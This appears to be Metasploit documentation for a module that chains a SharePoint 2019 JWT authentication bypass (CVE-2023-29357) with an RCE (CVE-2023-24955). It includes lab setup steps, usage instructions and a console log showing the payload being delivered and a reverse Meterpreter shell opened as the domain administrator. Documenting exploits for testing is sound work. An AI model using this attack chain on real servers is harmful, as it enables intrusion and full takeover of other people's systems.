## Vulnerable Application
This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched
in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023.

The auth bypass allows attackers to impersonate the Sharepoint admin user. This vulnerability stems from the
signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing
algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic
flaw in the ReadTokenCore() method.

After impersonating the administrator user, the attacker has access to the Sharepoint API and is able to
exploit CVE-2023-24955. This authenticated RCE vulnerability leverages the impersonated privileged account to
replace the "/BusinessDataMetadataCatalog/BDCMetadata.bdcm" file in the webroot directory with a payload. The
payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API.

### Setup 
Setup Windows Server 2022  [20348.169.210806-2348.fe_release_svc_refresh_SERVER_EVAL_x64FRE_en-us.iso](https://software-download.microsoft.com/download/sg/20348.169.210806-2348.fe_release_svc_refresh_SERVER_EVAL_x64FRE_en-us.iso).
Change the computer name to "sp1".
In network connections set the IP address of the machine to a static IP on the appropriate interface.
Set the DNS settings - one to the hardcoded address of the machine and the alternate to 8.8.8.8.
Add the AD DS role to the Server and then promote to a domain controller, use all the default settings. Name the domain "domain.local".
Download and install [SQL Server 2022](https://go.microsoft.com/fwlink/?linkid=2215202&clcid=0x409&culture=en-us&country=us) with all default settings.
Download [Sharepoint 2019 image](https://download.microsoft.com/download/C/B/A/CBA01793-1C8A-4671-BE0D-38C9E5BBD0E9/officeserver.img).

Mount the image on the newly configured Domain Controller.
Before installing the prerequisites you must go to Server Manager -> Local Server -> IE Enhanced Security Configuration -> Set to OFF
The prerequisites installer will fail to download prereqs without this.

Run the splash.hta file, then select Install Prerequisites, this will reboot the machine.
Remount the installer and rerun the PrerequisitesInstaller.exe. Once complete for the second time, click finish, this will reboot the machine.
Remount the installer and run setup.exe, this will install all the necessary binaries, this will reboot the machine

The SharePoint Products Configuration Wizard should launch automatically, if not you can launch it from the start menu.
Click next on the Welcome to Sharepoint Products page. It will tell you that it may have to reboot the machine, click Yes.
Select "Create a new server farm", click Next.

Input the following:
Database server: sp1
Database name: SharePoint_Config
Username: DOMAIN\\Administrator
Password: N0tpassword!

Click Next.

Specify Farm Security Settings:
Enter and reenter a passphrase:

Click Next.

Specify Server Role:
Single-Server Farm

Click Next.

Configure SharePoint Central Administration Web Application
No changes here, keep the port number default and keep NTLM selected,

Click Next.

You should now have a vulnerable version of SharePoint 2019 installed.

## Verification Steps

1. Start msfconsole
1. Do: `use sharepoint_dynamic_proxy_generator_auth_bypass_rce`
1. Set the `RHOST`, `LHOST`, and `HOSTNAME` options
1. Run the module
1. Receive a Meterpreter session in the context of the user running the SharePoint application.

## Scenarios
### SharePoint 2019 
```
msf exploit(windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Sharepoint version detected: 16.0.0.10337
[*] Discovered hostname is: sp1
[*] realm: 1a150b01-299a-48a9-afd4-379402fff4de, client_id: 00000003-0000-0ff1-ce00-000000000000
[*] Got Oauth Info: 1a150b01-299a-48a9-afd4-379402fff4de|00000003-0000-0ff1-ce00-000000000000
[*] Lob id is: XafKHq
[*] Successfully impersonated Site Admin: 00000003-0000-0ff1-ce00-000000000000
[+] The target is vulnerable. Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.
[*] BDCMetadata file already present on the remote host, backing it up.
[+] Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: /Users/jheysel/.msf4/loot/20240206152102_default_172.16.199.72_sharepoint.confi_163878.txt
[+] Payload has been successfully delivered
[*] Sending stage (200774 bytes) to 172.16.199.72
[+] BDCMetadata.bdcm has been successfully restored to it's original state.
[*] Meterpreter session 4 opened (172.16.199.1:4444 -> 172.16.199.72:51458) at 2024-02-06 15:21:04 -0500

meterpreter > getuid
Server username: DOMAIN\Administrator
meterpreter > sysinfo
Computer        : SP1
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : DOMAIN
Logged On Users : 20
Meterpreter     : x64/windows
meterpreter >
```
